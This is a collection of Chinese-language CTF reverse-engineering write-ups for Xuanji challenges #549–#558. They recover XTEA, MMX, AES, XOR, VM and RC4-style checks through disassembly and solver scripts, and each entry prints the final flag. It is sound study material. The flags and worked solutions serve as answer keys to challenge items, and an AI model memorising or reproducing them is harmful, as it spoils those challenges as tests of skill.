识别算法时不能只按常见 XTEA 模板抄写。0x28b20 的汇编确实使用 XTEA 结构: 每个 8 字节块读成两个 little-endian 32 位字, 做 32 轮, 混合项是 $((v \ll 4) \text{ XOR } (v \gg 5)) + v$, 轮常数基值为 0x9e3779b9。但它的累计值不是普通 XTEA 的固定 $sum += \text{delta}$ 。

令 i 为从 0 到 31 的轮号、 $k[0..3]$ 为密钥字、 $sum_0=0$ 。每一轮精确顺序为:

```
T_i = (0x9e3779b9 + (k[i & 3] XOR i)) mod 2^32
v0  = v0 + (mix(v1) XOR (sum_i + k[sum_i & 3])) mod 2^32
sum_(i+1) = sum_i + T_i mod 2^32
v1  = v1 + (mix(v0) XOR (sum_(i+1) + k[(sum_(i+1) >> 11) & 3])) mod 2^32
```

所有加减法按 32 位回绕。注意 $v0$ 使用本轮更新前的 sum_i , $v1$ 使用加过扰动量后的 $sum_(i+1)$ 。汇编证据保存在 analysis\xtea_round_function_disassembly.txt:

```
0x28b5b..0x28b69: 读取 key[round & 3], 与 round XOR, 再加 0x9e3779b9
0x28b71..0x28b99: 计算 v1 的 mix, 并用旧 sum 与 key[sum & 3] 更新 v0
0x28b9c..0x28ba2: 将上一步的扰动量累加进 sum
0x28ba5..0x28bd0: 计算 v0 的 mix, 并用新 sum 的高位选择密钥字更新 v1
```

在 CBC 解密时逐块执行：

```
P_i = XTEA_variant_decrypt(C_i, key) XOR C_(i-1)
P_0 = XTEA_variant_decrypt(C_0, key) XOR IV
```

第一次实现把轮常量按标准 XTEA 处理为固定 `sum += 0x9e3779b9`。程序本身的加解密互逆自测通过，正向 CBC 也能回算目标，但逆向明文末 8 字节是：

```
238f8210bf7d11b1
```

这不是合法 PKCS#7 填充，不能据此确认明文候选。主求解器报错：

```
ValueError: invalid PKCS#7 bytes: 238f8210bf7d11b1
```

这说明“自写加解密互逆”只说明两段代码互相吻合，不足以证明它们与二进制实现一致。回到 0x28b20 逐条看汇编后，发现每轮在加 delta 前先将 `key[round & 3] XOR round` 加入该轮增量。将真实增量写成 `delta + (key[round & 3] XOR round)` 并按 32 位回绕后，PKCS#7、`flag{...}` 格式和完整 CBC 回算同时通过。

另一次早期 DEX 转储也曾因 payload 解析宽度错误失败，修正版 `dump_dex_app_fixed.py` 已替代旧版。

主脚本：

```
python .\玄机刷题\题目资料\ParlooChecker_549\analysis\solve_offline.py
```

关键输出：

```
TARGET_CIPHERTEXT_LEN=40
TEA_KEY_RAW=52756e74696d65537472696e67457874
IV=4c696e4b48405348
BLOCK_CIPHER_SELFTEST_MATCH=True
DECRYPTED_PADDED_HEX=666c61677b76686c385872697275796942327a65544c4e633870696b3239484a7937533277307d01
PKCS7_PADDING_LEN=1
CANDIDATE_LEN=39
CANDIDATE_BYTES=b'flag{vhl8XriruyiB2zeTLNc8pik29HJy7S2w0}'
ROUNDTRIP_TARGET_MATCH=True
ROUNDTRIP_CIPHERTEXT=af9008e79057a3edb1052dba56c04fd3fcaab795eee49f1ae92c21fc292ece52c48cf041e9890d79
FLAG_WRAPPER_CHECK=True
```

随后运行 `analysis/independent_verify.py`。这个脚本不导入主求解器，而是独立实现 RC4、带扰动的 XTEA 变体和 CBC，并重新检查所有条件：

```
python .\玄机刷题\题目资料\ParlooChecker_549\analysis\independent_verify.py
```

复核结果：

```
REF_PAD_BYTE=01; REF_PAD_VALID=True
REF_CANDIDATE=flag{vhl8XriruyiB2zeTLNc8pik29HJy7S2w0}
REF_CBC_REENCRYPT_MATCH=True
REF_BLOCK_SELFTEST=True
```

四个 ABI 库中都能找到相同的目标、RC4 密钥、加密分组密钥和加密 IV 常量，减少了只读错单一 ABI 常量的可能：

```
x86_64      ALL_CONSTANTS_PRESENT=True
x86         ALL_CONSTANTS_PRESENT=True
arm64-v8a   ALL_CONSTANTS_PRESENT=True
armeabi-v7a ALL_CONSTANTS_PRESENT=True
```

originals\ParlooChecker_flag.zip	原始附件
analysis\extracted\ParlooChecker_flag.apk	安全提取的 APK
analysis\code\	固定清单提取的 manifest、DEX、四 ABI so
analysis\solve_offline.py	主离线求解器
analysis/independent_verify.py	独立实现的复核器
analysis/commands_output.log	命令及 stdout/stderr 记录
analysis\native_disassembly_x86_64.txt	JNI 主函数汇编
analysis\native_helpers_28c00.txt	padding/CBC 相关函数汇编
analysis\native_helpers_29a40.txt	native 比较及辅助函数汇编
analysis\xtea_round_function_disassembly.txt	关键轮函数汇编
analysis\target_range_disassembly.txt	目标字符串边界汇编
analysis\dex_disassembly_fixed.txt	修正 payload 后的 DEX 转储
analysis\dex_switch_maps.txt	混淆 switch 映射

命令输出文件保留了解压前检查、静态提取、DEX/ELF 分析、首次 padding 失败、算法修正与两次复核的过程。出现输出过长的汇编时，完整内容同时保存在对应 analysis 文本文件中；主日志记录生成命令。

1.14 第二届 Parloo 杯 PositionalXOR (ID #550)

题目信息：玄机 ID #550；类型 REVERSE；难度中等。

零基础知识点：位置相关 XOR 的密钥取决于下标。因为 XOR 自反，已知下标规则后可逐字节逆变换；从 0 还是从 1 开始必须由样本验证。

- 题意：密文每个字符都按其在字符串中的位置执行 XOR，需要恢复原始 flag。
- 下载包：D:\Downloads\encrypted_flag.zip，198 字节。
- ZIP SHA-256：0C563421AE63279233377EEEDFAA34DD85DEFA23A663C46CF1F9DC18FFB0F834。
- ZIP 内文件为 encrypted_flag.bin，26 字节；其 SHA-256 为 4D587E8E9916DB9AB5A43F186F606250209B4B7EA8DDB1970B6D2FACFCFE5496。

页面附件名 `encrypted.bin` 与 ZIP 内部文件名 `encrypted_flag.bin` 不同；题型、下载时机、解出的 flag 格式和完整逆运算复核共同支持附件对应关系。

1. 先读原始字节并查看 ASCII。完整输出保存在逐题终端记录中。2. 先按零起始下标 i 计算密文 $[i] \text{ XOR } i$ 。输出既不以 `flag{` 开头也不以 `}` 结尾，因此排除零起始密钥假设。3. 改用一开始数的位置值。XOR 是自反运算，所以明文 $[i] = \text{密文 } [i] \text{ XOR } (i+1)$ 。首字节 $0x67 \text{ XOR } 0x01 = 0x66$ (f)；第五字节 $0x7E \text{ XOR } 0x05 = 0x7B$ ({)；最后字节 $0x67 \text{ XOR } 0x1A = 0x7D$ (})。这验证了位置值从 1 起算。4. 对 26 字节逐一应用公式，得到：

```
flag{fScUaEYmeAGSXVgZd5pV}
```

5. 将明文再按相同位置值 XOR，逐字节比较输入密文，输出 Round-trip equals original: True。外壳、末尾括号和可打印 ASCII 检查也都通过。

本题的密钥是位置值 $i+1$ ，不是数组下标 i 。最终 flag 为 `flag{fScUaEYmeAGSXVgZd5pV}`。全部 PowerShell 命令与输出见 `C:\Users\mzj\Desktop\CTF\玄机刷题\记录\PositionalXOR_550-终端记录.txt`；逐步 WP 见 `C:\Users\mzj\Desktop\CTF\玄机刷题\记录\PositionalXOR_550-WP.md`；解压附件及复核明文见 `C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\PositionalXOR_550\`。

1.15 第二届 Parloo 杯「帕鲁迷宫」(ID #551)

题目信息：玄机 ID #551；类型 REVERSE；难度中等。

零基础知识点：迷宫可建模为图：格子是顶点、相邻可走格是边。BFS 求无权图最短路；方向遍历顺序会影响同长路线的选择，需与程序一致并复算摘要。

题面要求帕鲁以最短路径走完全部五个出口，flag 形式为 `flag{md5(最短路径步骤)}`，程序提示最短步数是 295。附件 `game_flag.exe` 大小 6,731,652 字节，SHA-256 为 319DE70C476CC7C2761A57D88B83A5529D2DEA53C1F73DC23926D21ABC86EE019。原 EXE 未运行，分析通过 PyInstaller 静态提取和 Python 字节码反汇编完成。

1. 解析 PyInstaller 归档尾部 cookie 与 TOC，提取 game 条目并解压 marshal 代码对象。2. 附件使用 Python 3.11。直接交给 Python 3.12 的 marshal 或 dis 会按错误 opcode 解释；最终按 Python 3.11 规则构造 pyc，再用 `pydisasm -F classic` 反汇编。早期 3.12 错读的痕迹保留在终端记录中，最终逻辑以 3.11 反汇编为准。

3. `generate_maze` 生成 32×32 网格，seed 为 5822171，起点为 (1,1)。深度优先挖路时按四个步长 (0,2)、(2,0)、(0,-2)、(-2,0) 洗牌。4. 五个出口坐标依次为 (1,30)、(30,30)、(30,16)、(30,1)、(16,1)。move 的方向分支顺序为 w、s、a、d。

不能只在当前位置做普通 BFS，因为还需要记住哪些出口已经访问。求解状态使用“当前位置 + 五位出口访问掩码”；到达出口时置相应位，只有五位全为 1 时才算终点。按 move 分支顺序 w、s、a、d 展开状态，BFS 第一次到达完整掩码时得到一条最短路径。

地图存在 512 条不同的 295 步最短路径，题面没有说明等长路径的序列化平局规则；但 flag 对完整按键串求 MD5，因此选错平局路径也会得到错误摘要。

将邻居顺序设为 w、s、a、d，得到与附件 move 分支顺序一致的首条最短路线。逐步模拟确认出口访问情况：第 39 步进入 (16,1)，第 93 步进入 (30,1)，第 188 步进入 (30,16)，第 204 步进入 (30,30)，第 295 步进入 (1,30)。终点访问了 5/5 个出口，长度为 295。

以下为完整的小写方向串；计算摘要时输入这一行的 ASCII 字节，不包含行尾换行：

```

ddddddssaassaassddssddssaassaawwaassssssdddddwwddssssssssddssaaaaaaassddsssssaawwaasssasawddwddssd
↪ ddddwwdddddssddwwwwddwddssddwddwdddddsssssssssaawwwwwaassssaaaassddssaaaaasawdddddddddd
↪ sdwaaaaaawwaawdddddwwddssssssddwwwwwwwwwwwwwwaaaaawwwwwaawdddddsssaassdddddwwwwwwd
    
```

对这 295 个方向字符直接计算 MD5，结果为 634e3323bef7c35e91078eb19cb31210。因此候选为：

flag{634e3323bef7c35e91078eb19cb31210}

- 完整 WP：记录/PaluMaze_551-WP.md
- 命令和原始输出：记录/PaluMaze_551-终端记录.txt、记录/PaluMaze_551-fresh-static.txt
- 最终路线验证器及输出：题目资料/PaluMaze_551/路线验证脚本、路线验证输出

1.16 第九届“强网杯”全国网络安全挑战赛 Butterfly (ID #552)

题目信息：玄机 ID #552；类型 REVERSE；难度中等。

零基础知识点：自定义分组变换要按逆序撤销 XOR、字节交换、旋转和模 256 加法。先弄清哪些尾部字节未加密，再按原流程正向复算。

静态分析只使用本批新归档 originals/butterfly.7z；没有读取旧 WP、旧缓存或题库答案，也没有执行题目 ELF。

候选 flag（不含文本文件末尾换行）：

flag{66eec38e269e0e267849a1f7b708i}

候选本体是 35 个 ASCII 字节。解密后的完整输出是 36 字节，最后一个字节 0a 是文件末尾换行；候选最后的 i} 来自 encode.dat 未变换的尾部，不能删掉 i。

静态 solver 把每个完整 8 字节块反解，再按附件中的变换正向运算。重建的 36 字节密文与 encode.dat 逐字节完全相同，输出 forward closure = True。

原始附件：originals/butterfly.7z，260,238 字节，SHA-256：

85FDF4CEC63C0A33F2D8A144D2652B63188BE015907F5C2A78559FD469B43228

先用系统 tar.exe -tf/-tvf 列出成员；确认成员都是根目录普通文件后才解包。归档只有以下 3 个成员：

成员	字节数	SHA-256
butterfly	710,352	B8D977D9540F8AF606F0CB06 04C932BBEFA5D2FF20242261 6B06C7FA32DFDB75
encode.dat	36	2EF3E3CCDB4DF9AE7B39EBCE 677818EABCE3ACB78802E01A EACA56572734D2B1
encode.dat.key	32	3DEBC947A1A9073F7A9D2E82 C2AF39C721B61764F33066CE DCCA2385694E278F

解包副本保存在 `analysis\extracted\`。散列值来自原归档解包件；完整命令记录见 `analysis/command_transcript_20260929.txt`。

附件 `butterfly` 的 magic bytes 是 `7f 45 4c 46`, `readelf -h` 显示:

- ELF64、little-endian、x86-64;
- ET_EXEC, 入口地址 `0x401b70`;
- 无动态段, 是静态链接文件;
- `.text` 位于 VA `0x401180` / 文件偏移 `0x1180`, 大小 `0x7df20`;
- `.rodata` 位于 VA `0x480000` / 文件偏移 `0x80000`, 大小 `0x1c2b4`;
- ELF 符号已剥离, `objdump -t` 报告 no symbols。

全程没有执行 ELF。用 `strings` 观察到 `MMXEncode2024`、`Encoding file: %s`、`Original size: %zu bytes`、`Successfully encoded to: %s`、`Encoded size: %zu bytes`、`%s.key`、`Key saved to: %s` 等字符串。主流程在 `0x4018d0`, 其参数检查要求程序名以外有两个参数; 反汇编显示输入文件以只读方式打开, 取长度、读取到缓冲区, 然后对缓冲区处理并写出结果文件和 `.key` 文件。此流程判断来自静态控制流与字符串, 不依赖运行样本。

Windows 的 `7z` 不在 PATH, 故改用系统 `tar.exe`。MSYS2 的 `nm/objdump` 通过含中文目录的路径读取时报告路径不存在; 将同一个 ELF 暂存复制到 ASCII 路径 `C:\CTF_552\butterfly` 后可供静态工具读取, 复制前后 SHA-256 相同。临时暂存只用于分析, 项目内的原始附件与解包件均保留。PowerShell 的 `Get-Content -Encoding Byte` 也不适用; 后续直接由 Python `Path.read_bytes()` 读取字节。失败尝试及输出已如实记入 transcript。

程序在 `0x4019cf` 和 `0x4019dc` 使用 `movdqu` 从 `.rodata` 地址 `0x4825b6` 和 `0x4825c6` 连续加载 32 字节。ELF 的 VA `0x4825b6` 对应文件偏移 `0x825b6`。该处 32 字节为:

```
4d4d58456e636f64653230323400456e636f64696e672066696c653a2025730a
```

`encode.dat.key` 也是完全相同的 32 字节, solver 对两者执行逐字节相等比较, 结果 `keyfile == rodata first 32 = True`。随后主流程把栈上第一个 8 字节加载到 MMX 寄存器, 故实际每块使用的 8 字节 key 为:

hex: 4d4d58456e636f64
ASCII: MMXEncod

完整 32 字节文件不是 32 字节轮换 key；反汇编中的 `movq mm1,QWORD PTR [rsp+0x20]` 明确只取前 8 字节，并在循环里复用。

主循环从 0x401a49 开始，使用 MMX 指令逐个处理 8 字节块。对块内第 i 个字节 $P[i]$ ，key 字节为 $K[i]$ ：

1. `pxor mm0,mm1`：各字节与 key 异或。
2. `psllw 8`、`psrlw 8`、`por`：每个 16-bit word 内交换相邻字节。
3. `psllq 1`、`psrlq 63`、`por`：把 64-bit 小端 word 循环左移 1 bit。
4. `paddb mm0,mm1`：每个字节加 key，按模 256 截断。

令 `swap` 为字节序列 $[b_0, b_1, b_2, b_3, b_4, b_5, b_6, b_7]$ 到 $[b_1, b_0, b_3, b_2, b_5, b_4, b_7, b_6]$ 的映射，`rol64` 将以 little-endian 解释的 64-bit 数循环左移一位。则：

$C = (\text{rol64}(\text{swap}(P \text{ XOR } K)) + K) \bmod 256$ # 加法逐字节

逆变换按照可逆步骤反序执行：

$X = (C - K) \bmod 256$ # 逐字节减法
 $Y = \text{ror64}(X, 1)$
 $Z = \text{swap}(Y)$ # 相邻字节交换是自身的逆
 $P = Z \text{ XOR } K$

代码先检查长度是否大于 7，再按 8 字节地址推进。循环边界计算中， $(\text{length}-1) \gg 3$ 和 $(\text{length}-8) \gg 3$ 限定处理完整块；输入长度为 36，因此只处理偏移 0, 8, 16, 24 共 32 字节。剩下 4 字节不会进入 MMX 循环，保持原样：

`encode.dat[32:36] = 38 69 7d 0a = b"8i}\n"`

因此，未变换的尾部中 8 与 `i}` 属于恢复文本，最后 0a 是文本文件的结尾换行。不能因为 `i` 不是十六进制字符就删除它；删除会破坏由附件恢复出的原文。

输入密文：

8fa39cb7188d7116a99d521b10792916479d46bf16130f12a5359e177015171438697d0a

下表的中间值均为内存顺序的 8 个字节； $C-K$ 为逐字节模 256 减法：

块偏移	密文 C	C-K	ROR64(1)	相邻字节交换	XOR K 得明文
0	8fa39cb7188d7116	42564472aa2a02b2	212b223955150159	2b21392215555901	666c61677b363665 = flag{66e

块偏移	密文 C	C-K	ROR64(1)	相邻字节交换	XOR K 得明文
8	a99d521b107 92916	5c50fad6a21 6bab2	2e287d6b510 b5d59	282e6b7d0b5 1595d	65633338653 23639 = ec38e269
16	479d46bf161 30f12	fa50ee7aa8b 0a0ae	7d28773d545 85057	287d3d77585 45750	65306532363 73834 = e0e26784
24	a5359e17701 51714	58e846d202b 2a8b0	2c742369015 95458	742c6923590 15854	39613166376 23730 = 9a1f7b70

前 32 字节拼接为 flag{66eec38e269e0e267849a1f7b70，接着原样接上尾部 8i}\n，得到：

明文 bytes (36): 666c61677b36366565633338653236396530653236373834396131663762373038697d0a

明文文本 : flag{66eec38e269e0e267849a1f7b708i}\n

候选本体 (35) : flag{66eec38e269e0e267849a1f7b708i}

正向闭环将表中每个 P 再按 P XOR K、交换相邻字节、ROL64(1)、逐字节 +K 处理。每块比较均为 match=True；整文件输出：

forward closure = True

forward hex = 8fa39cb7188d7116a99d521b10792916479d46bf16130f12a5359e177015171438697d0a

这与归档成员 encode.dat 的 36 字节完全相同。

- 静态求解器：analysis/solve_butterfly_static.py。只读三个附件文件、按上面的逆变换还原并正向校验；不调用附件 ELF。
- 单块中间运算追踪：analysis/trace_butterfly_blocks.py。
- 解出原文：analysis/recovered_plaintext.bin。
- 候选：analysis/candidate.txt（文件自身以换行结束；flag 本体不含该行尾换行）。
- 求解器完整输出：analysis/reports/solver_output.txt。
- 每块的逆运算及正向运算：analysis/reports/block_trace.txt。
- ELF header、段表、字符串和完整反汇编：analysis/reports/elf_header.txt、elf_program_headers.txt、elf_sections.txt、elf_dynamic.txt、strings_offsets.txt、disassembly_intel.txt。
- 主流程反汇编摘录：analysis\reports\main_disassembly_excerpt.txt。
- 所有命令及其输出/输出文件索引与失败尝试：analysis/command_transcript_20260929.txt。

用项目根目录为当前目录时，可这样复现：

```
python .\题目资料\题目分类\逆向工程\butterfly_552\analysis\solve_butterfly_static.py
```

```
python .\题目资料\题目分类\逆向工程\butterfly_552\analysis\trace_butterfly_blocks.py
```

命令会执行我们编写的 Python 静态求解器，不会执行 butterfly。

1.17 第九届“强网杯”全国网络安全挑战赛 tradre (ID #554)

题目信息：玄机 ID #554；类型 REVERSE；难度中等。

零基础知识点：异或 (XOR) 满足 $a \text{ XOR } b \text{ XOR } b = a$ ；逐字节 XOR 可逆。恢复 key、mask 与截取范围后，还要核对字节长度和 AES 模式。

- 附件：D:\Downloads\tradre.zip
 - SHA256: 71BE666F73FF9214BEF7211C8F413FED628B9AB42ABD10EE1E2F8AB9D1995FB0
- 解压文件：tradre-附件\tradre
 - SHA256: 2BBB2EB4E309B4D09EC793C7E20B922FCDB114AA40F3630935572020FA488CF3

题目步骤写“尝试读取文件/flag 获得本题 flag”，但附件提供的是 64 位 ELF 可执行文件。静态字符串包含 Input your flag:、This is a fake flag!、Correct flag! Validation passed.，也包含 ptrace/fork 相关符号。.rodata 可见类似 AES Rcon 的字节表和一段 32 字节常量，推测校验可能含 AES 变换与反调试逻辑。

1. 下载附件并计算哈希，解压后确认 ELF64 x86-64，文件大小 29160 字节。2. 初次 Format-Hex - Count 64 报参数错误：当前 PowerShell 的 Format-Hex 不支持该参数；此失败已在 transcript 中记录。3. 用 GNU objdump 对含中文的绝对路径操作时，MSYS 路径转换把路径变成问号，导致失败；切到父目录后用相对路径成功读取文件头、符号和 .rodata。4. 用 strings / objdump 检查字符串、导入符号、入口点和常量；试过将可见 32 字节常量与候选栈常量按 AES-256 ECB 正反方向解密，输出不成明文。5. 可见 WSL 启动程序并输入空行，程序打印 ASCII art 与 This is a fake flag! 后退出。该信息是程序拒绝输入时的提示，不是 flag，也不表示验证成功。6. 检查到 WSL 环境没有可用的 gdb；尚未追完反调试/控制流，因此暂停本题并换题。本题的完整解法见下一节“2026-09-27 攻关”。

题目目标是从附件程序恢复 Flag，并按 flag{} 格式组合。附件 ZIP 仅含一个 29,160 字节 ELF64 x86-64 文件 tradre，没有独立 flag 或远程地址。

1. strings 找到 Input your flag:、This is a fake flag!、Correct flag! Validation passed. 等字符串，说明错误路径会打印假 flag，不能把该字面量当成答案。
2. readelf 显示入口地址 0x400910。入口将 0x4047cb 交给 __libc_start_main，该函数设置 60 秒 alarm 后 fork。3. 子进程先调用 ptrace(PTRACE_TRACEME)，随后进入 0x4009f7；父进程持续 wait/ptrace 观察子进程的断点。主体代码散布大量 int3，父进程会在每次陷阱后改写子进程寄存器/栈，再继续执行。4. 因此不能把所有 int3 当普通无操作指令直接跳过。我曾建立仅用于本地实验的 SIGTRAP 处理器，并让其把 RIP 加 1；运行立即触发“非法指令”，证实这种绕过会破坏题目设计的控制流。该失败没有改变原附件。5. 随后建立 tradre_ptrace_logger.c：以 LD_PRELOAD 包装 ptrace，但把每次调用继续转交真实 libc ptrace；输出保存到 题目资料/tradre/分析脚本/tradre_ptrace_trace.log。输入测试串 flag{test} 后程序仍输出 This is a fake flag!。日志共 19,813 行，确认正常父子监控路径确实运行；完整原始日志保留为本地分析证据。

Writeup（作者：潍院小手手，标题“菜鸡之笔”，2026-08-17）给出以下规则：

```
key = bytes.fromhex("f470bbc031caee5e58b272ea02f3ffe6")
target = bytes.fromhex(
    "027532640ce1c1b999349f08b1c457df"
    "202a5e01b4655cdde3dce131a2e83440"
    "8b"
)
mask = bytes.fromhex(
    "1acf9382d81f8ef9c605ca4d598fd365"
    "d9ae3f4cb57c3140fda22c7889497769")
used_target = target[:16] + target[17:33]
cipher = bytes(a ^ b for a, b in zip(used_target, mask))
flag_body = AES.new(key, AES.MODE_ECB).decrypt(cipher)
```

这一步有两个容易遗漏的细节：`target` 一共 33 字节，不是 32 字节；切片先取前 16 字节，再从下标 17 取至 32，故有意跳过下标 16 的单字节 0x20，总长重新变为 32 字节。随后逐字节与 32 字节 `mask` XOR，再用 16 字节密钥执行 AES-128-ECB 解密；输出不需要填充。

为避免直接照抄 Writeup 作为验证，我把同样运算写入 PowerShell/.NET 脚本 题目资料/tradre/分析脚本/tradre_decrypt_flag.ps1，逐步打印关键中间值：

- `key`: f470bbc031caee5e58b272ea02f3ffe6
- `target` (33 字节): 027532640ce1c1b999349f08b1c457df202a5e01b4655cdde3dce131a2e834408b
- 重排后的 `used_target` (32 字节): 027532640ce1c1b999349f08b1c457df2a5e01b4655cdde3dce131a2e834408b
- `mask`: 1acf9382d81f8ef9c605ca4d598fd365d9ae3f4cb57c3140fda22c7889497769
- XOR 结果 `cipher`: 18baa1e6d4fe4f405f315545e84b84baf3f03ef8d020eca321431dda617d37e2
- AES 解密结果十六进制: 31353736393239333063653535383566663366336136373435356130333343433
- ASCII 正文: 157692930ce5585ff3f3a67455a03443

正文长度为 32，字符均属于小写十六进制字符集，与题目要求 `flag{}` 的形式相符。

复现脚本、ptrace 日志层和原始跟踪日志保存在 题目资料/tradre/分析脚本/。平台 Writeup 是本题发现 `key/mask` 与切片规则的直接线索：

Flag: `flag{157692930ce5585ff3f3a67455a03443}`。

1.18 第三届黄河流域公安院校网络安全技能挑战赛 Victory_Melody (ID #555)

题目信息：玄机 ID #555；类型 REVERSE；难度中等。

零基础知识点：虚拟机 (VM) 题需要把字节码解释成寄存器、内存和分支操作。先确认每条指令的语义，再按执行顺序跟踪状态，不能把混淆后的输入提示当作算法。

- 下载包: D:\Downloads\Victory_Melody.zip, 13,676 字节；内部为 64 位 PE 程序。

- EXE SHA-256: 9909D359461E16E1CA1D55521A187302799C781C718BE3B6613E5A8FB2D3D87B。
- 离线静态分析，没有运行未知 EXE，也没有联网查找 Writeup。

1. 静态字符串中发现成功提示格式 `flag{md5(your_input)}`、输入提示和失败分支 `Noooo`；导入表出现 `memcmp`。2. 入口先打印提示，再初始化 VM 并执行验证函数。初始化从程序数据区复制 51 字节字节码到 VM 结构。3. 根据寄存器、内存访问和调用目标还原字节码语义：

	操作码	语义
0x10 imm	R0 = imm	
0x11 imm	R1 = imm	
0x20 index value	data[index] = value	
0x30	data[R0] 与 R1 异或	
0x40	用 %7s 读取最多 7 个非空白字符	
0x50 offset length	比较 data 与 data+offset 共 length 字节	

4. 初始化代码把比较目标写为 18 14 14 19 14 16 19。输入随后逐字节 XOR 0x21；最后 `memcmp` 只比较前 7 字节。5. XOR 可逆，把目标逐字节与 0x21 再 XOR，得到输入 ASCII：9、5、5、8、5、7、8，即 9558578。正向运算确认 39 35 35 38 35 37 38 XOR 21 后，逐字节等于目标 18 14 14 19 14 16 19。6. 按成功提示，对 ASCII 输入 9558578 求 MD5；Python 与 PowerShell/.NET 独立计算一致，摘要为 f972007e0d3d9cb5f7d03661019eaf6e。

关键点是把 VM 字节码还原成“读入 7 字符、每字节 XOR 0x21、比较 7 字节”，再对原始输入而非整个 flag 求 MD5。逐步 WP 见 C:\Users\mzj\Desktop\CTF\玄机刷题\记录\Victory_Melody_555-WP.md；所有命令和原始输出见 C:\Users\mzj\Desktop\CTF\玄机刷题\记录\Victory_Melody_555-终端记录.txt；题目资料见 C:\Users\mzj\Desktop\CTF\玄机刷题\题目资料\Victory_Melody_555\。

1.19 第三届黄河流域公安院校网络安全技能挑战赛 go_for_it (ID #556)

题目信息：玄机 ID #556；类型 REVERSE；难度中等。

零基础知识点： GF(2) 上的线性变换用 XOR 表示加法。通过逐位扰动建立基向量，再做高斯消元，可以求出满足输出约束的唯一输入。

附件为混淆后的 Go 程序。旧求解器通过程序比较过程建立黑盒线性模型，而非猜输入：

1. 取 32 个字符的 A*32 做基准；每个输入位置分别将 7 个可打印 ASCII 位翻转，记录 transformed/expected 差值。2. 总共 4 个 8-byte block × 8 字节 × 7 个有效位 = 224 个基向量。额外探测证明每个 block 输出只受同一 block 输入影响。3. 对每块建立 GF(2) 方程并高斯消元；四个 block 的秩都为 56/56，residue 全为 0，解唯一。4. 对恢复值重新计算变换，与目标逐位比对；再将候选送入原程序校验，得到 Right!。

```
candidate_repr: b'flag{cde36914d3639ab8ffa5c88f58}'
direct_stdout_bytes: b'Right!\n'
candidate_transform_matches_target: True
candidate_final_validation: True
```

最终候选: flag{cde36914d3639ab8ffa5c88f58}。程序、探测器、224 个 probe 与原始输出均在题目资料/go_for_it_556/; 长 transcript 为记录/代理-go_for_it-终端记录.txt。一次新的 Windows 复跑遇到中文路径编码问题, 不影响旧的 Linux/WSL 运行输出和原程序 Right! 验证。

1.20 第三届黄河流域公安院校网络安全技能挑战赛 qgd (ID #557)

题目信息: 玄机 ID #557; 类型 REVERSE; 难度中等。

零基础知识点: 逆向分析先定位常量和控制流, 再把每个字节变换写成可逆公式。自定义 KSA/PRGA 与 RC4 相似, 但数组长度、索引更新和后处理都可能不同。

目标格式为 flag{part1/part2}。求解器先校验 ZIP 内两个成员的 SHA-256, 防止对错附件使用常量。

第一段的机器码含 83 F0 31 与 83 F0 58, 分别代表 XOR 0x31 与 XOR 0x58。按字符下标奇偶选择常量, 恢复 part1=933de8e7e0。

第二段不执行 PE, 而是静态读取 PyInstaller/Python 3.9 入口模块中固定的 key 和 ciphertext。自定义流密码状态数组长度 128; KSA 的 j 更新为 ((j+S[i]+key[i mod keylen]) mod 128) XOR 55; PRGA 更新并交换状态后, 将输出字节的高低半字节互换, 再与 ciphertext XOR, 得到 part2。

```
part1: 933de8e7e0
part2: 3b162f64bcfec94803d
flag: flag{933de8e7e0/3b162f64bcfec94803d}
```

命令: python -B labs/platform/solve_qgd.py, 退出码 0。附件和脚本: labs\platform\attachments\557-qgd.zip、labs/platform/solve_qgd.py。脚本硬编码 SHA-256 版本校验值。现有证据为本地附件、静态求解脚本与本轮复跑输出; 没有入口模块反汇编 transcript 或。

1.21 第三届黄河流域公安院校网络安全技能挑战赛 R (ID #558)

题目信息: 玄机 ID #558; 类型 REVERSE; 难度中等。

零基础知识点: RC4 风格流密码依赖状态置换。位置异或、KSA 轮数和 PRGA 后处理要按反汇编逐字节复现, 不能直接套用标准 RC4。

- 本地静态逆向得到候选: flag{8a1c2a73c29b2}。
- 按恢复出的加密流程正向处理候选, 得到程序硬编码的 19 字节目标, 逐字节完全一致。
- 未运行 R.exe。

本地副本与分析资料位于：

- 原始压缩包：题目资料\challenge_558\R.zip, 87,569 bytes, SHA-256 CD7967ECD4DA09A57F544E14C28CEAF016272D8B7EC095B949D141D096C408DB
- 解压程序：题目资料/challenge_558/attachment/R.exe, 186,880 bytes, SHA-256 E2B0CA7ED72159F82649C33F373E3B38C0E9C9283AA1DAEC627018A328F08651
- 可复现分析脚本：题目资料/challenge_558/analysis/solve_558.py
- PowerShell 命令与输出记录：题目资料/challenge_558/analysis/powershell_transcript_20260929.txt

ZIP 内只有 R.exe。附件按 PE 静态检查是 Windows x86-64 控制台程序；检查未发现 CLR 头，代码呈 Rust 编译特征。整个分析仅检查 PE 头、字符串与反汇编，没有执行目标程序，也没有下载/运行新工具。

主逻辑位于 0x1400040e0 附近。

- 0x1400040fb-0x140004106 传入静态字符串记录，程序提示为 input your flag:。
- 0x1400041b8-0x1400041ec 创建并填充 8 字节初始 key: 6c 6e 74 66 76 70 75 73, ASCII 为 lntfvpus。
- 0x1400042b7-0x1400042d5 调用变换函数 0x140003c80。
- 0x1400042dc-0x14000433c 逐字节构造 19 字节比较常量：
18 59 07 28 f4 ad c8 c3 b6 3f 2d 39 ca 34 d1 8e f5 03 b0
- 0x140004354-0x140004362 调用比较辅助函数 0x140005870。其下游 0x140006620 先比较长度，长度相同后调用字节切片相等比较；主逻辑据此输出 wrong... 或 right!!!。

所以需要反推的目标是变换输出的 19 个原始字节，输入长度也必须为 19。

主函数中的字面量 lntfvpus 不是直接使用的 key。主逻辑在变换前遍历下标 i=0..7，在 0x1400043ff-0x14000440a 对 key 向量原位执行：

```
key[i] = key[i] XOR i
```

逐项结果：

i	原始字节	XOR i	有效字节
0	0x6c (l)	0x00	0x6c (l)
1	0x6e (n)	0x01	0x6f (o)
2	0x74 (t)	0x02	0x76 (v)
3	0x66 (f)	0x03	0x65 (e)
4	0x76 (v)	0x04	0x72 (r)
5	0x70 (p)	0x05	0x75 (u)

i	原始字节	XOR i	有效字节
6	0x75 (u)	0x06	0x73 (s)
7	0x73 (s)	0x07	0x74 (t)

因此有效 key 是 ASCII `loverust`, hex `6c6f766572757374`。若忽略这段预处理, 会得到非打印的错误逆解。

